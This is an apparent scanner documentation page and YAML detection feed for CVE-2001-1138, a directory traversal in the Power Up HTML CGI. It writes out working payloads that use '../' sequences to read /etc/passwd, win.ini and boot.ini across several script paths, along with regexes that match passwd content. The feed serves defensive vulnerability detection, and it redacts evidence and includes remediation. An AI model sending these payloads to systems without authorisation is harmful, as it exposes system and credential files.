Power Up HTML — 1 vulnerability check
noctis ships 1 vulnerability check for Power Up HTML, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Power Up HTML r.cgi/r.pl FILE Directory Traversal
| CVE | CVE-2001-1138 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/powerup-html/CVE-2001-1138.yaml |
Tests the Power Up HTML Perl CGI (r.cgi / r.pl) for the unauthenticated arbitrary file read through its FILE parameter, which names the page to render and is opened without any check. The feed requests r.cgi and r.pl under /cgi-bin/powerup, /cgi_bin/powerup, the web root, /cgi-bin and /scripts with FILE set to a ../ sequence ending in etc/passwd and, when the script answers but no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the read. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{script}}?FILE=../../../../../../../../../../etc/passwd - Checks
passwd_r.bodyfor(?m)(?:^|>|\s)([^:\s<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{script}}?FILE=../../../../../../../../../../windows/win.ini - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{script}}?FILE=../../../../../../../../../../boot.ini - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{script}}?FILE={{ctrl_path}} - Checks
ctrl_r.bodyfor(?mi)((?:^|>|\s)[^:\s<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app suppor… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: Power Up HTML r.cgi/r.pl FILE Directory Traversal (CVE-2001-1138) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: Power Up HTML r.cgi/r.pl FILE Directory Traversal (CVE-2001-1138)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-1138
- https://seclists.org/bugtraq/2001/Sep/77
- https://www.exploit-db.com/exploits/21102
- https://www.securityfocus.com/bid/3304
Feed source — tests/vulnerabilities/powerup-html/CVE-2001-1138.yaml
# Power Up HTML r.cgi / r.pl FILE directory traversal — CVE-2001-1138
#
# Power Up HTML (Randy Parker, a Perl CGI HTML template processor, last release
# 0.8033beta, no fix ever published) renders the page named by the FILE
# parameter of r.cgi / r.pl. The name is opened with no check, so "../"
# sequences read any file the web server user can read (Bugtraq 2001-09-07,
# BID 3304, exploit-db 21102:
# /cgi-bin/powerup/r.cgi?FILE=../../../../../etc/passwd).
#
# Detection (benign, read-only): GET <dir>/r.cgi and <dir>/r.pl with
# FILE=../../../../../../../../../../etc/passwd and match the CONTENT of
# /etc/passwd; when the script answers but no passwd line comes back, the
# Windows files windows/win.ini, then boot.ini. QoD 75 (response analysis).
#
# Improvements over the source NASL:
# - A control request (same parameter, a path in an absent random directory
# that still ends with the file that hit) must come back WITHOUT any of
# these files; a blanket responder or a honeypot keying a fake file on the
# file name or path suffix is not reported (fail-closed: no control reply →
# no finding). The NASL's `root:.*:0:[01]:` check alone fires on those.
# - The passwd line is matched after a line start, a ">" or a space, so a
# reply that wraps the file in HTML or text (the script renders it as a
# page) is still read.
# - The Windows files are only requested when the script exists (not 404),
# and the account name (unless "root"), password field and gecos of the
# uid-0 line are redacted before they reach the finding.
#
# CVSS: NVD has only a v2 score for CVE-2001-1138 (7.5, high), no v3.x.
#
# Ported from OpenVAS/Greenbone NVT pre2008/powerup_information_disclosure.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10776, GPL-2.0-only).
uid: c8afc143-de6d-4b2f-8c47-d1343d3145b7
name: "Power Up HTML r.cgi/r.pl FILE Directory Traversal (CVE-2001-1138)"
description: |
Tests the Power Up HTML Perl CGI (r.cgi / r.pl) for the unauthenticated
arbitrary file read through its FILE parameter, which names the page to
render and is opened without any check. The feed requests r.cgi and r.pl
under /cgi-bin/powerup, /cgi_bin/powerup, the web root, /cgi-bin and
/scripts with FILE set to a ../ sequence ending in etc/passwd and, when the
script answers but no passwd content comes back, windows/win.ini and then
boot.ini. The content of the file in the reply confirms the read. A control
request for an absent random file through the same parameter must not
return any of these files, so a server that serves the same content on every
request is not reported. Only world-readable system files are read. The
account name (unless root), password field and gecos of the uid-0 line are
redacted from the evidence.
cves: [CVE-2001-1138]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [powerup-html, perl, cgi, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-1138"
- "https://seclists.org/bugtraq/2001/Sep/77"
- "https://www.exploit-db.com/exploits/21102"
- "https://www.securityfocus.com/bid/3304"
# OpenVAS/Greenbone NASL pre2008/powerup_information_disclosure.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per script location.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: script
over:
- "/cgi-bin/powerup/r.cgi"
- "/cgi-bin/powerup/r.pl"
- "/cgi_bin/powerup/r.cgi"
- "/cgi_bin/powerup/r.pl"
- "/r.cgi"
- "/r.pl"
- "/cgi-bin/r.cgi"
- "/cgi-bin/r.pl"
- "/scripts/r.cgi"
- "/scripts/r.pl"
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{script}}?FILE=../../../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>|\\s)([^:\\s<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# script exists (answered, not 404) and the Linux read gave nothing ───────
- id: read-winini
action: http_request
method: GET
path: "{{script}}?FILE=../../../../../../../../../../windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{script}}?FILE=../../../../../../../../../../boot.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent path sits in a random missing directory but still ENDS with
# the file that hit (etc/passwd, windows/win.ini or boot.ini), so a honeypot
# that keys a fake file on that name or path suffix answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{script}}?FILE={{ctrl_path}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>|\\s)[^:\\s<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Power Up HTML r.cgi/r.pl FILE Directory Traversal (CVE-2001-1138)"
description: "An unauthenticated request to the Power Up HTML script with FILE set to a ../ sequence ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read."
remediation: "Remove Power Up HTML (r.cgi / r.pl) from the server: it is unmaintained and no fixed release exists. If it must stay, restrict FILE to plain file names in the page directory (reject '/', '\\' and '..') and limit access to the script."
confidence_delta: 0.55
qod: 75
evidence: "{{script}}?FILE=../../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content (uid-0 line: {{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Power Up HTML r.cgi/r.pl FILE Directory Traversal (CVE-2001-1138)"
description: "An unauthenticated request to the Power Up HTML script with FILE set to a ../ sequence ending in a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read."
remediation: "Remove Power Up HTML (r.cgi / r.pl) from the server: it is unmaintained and no fixed release exists. If it must stay, restrict FILE to plain file names in the page directory (reject '/', '\\' and '..') and limit access to the script."
confidence_delta: 0.55
qod: 75
evidence: "{{script}}?FILE=../../../../../../../../../../{{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true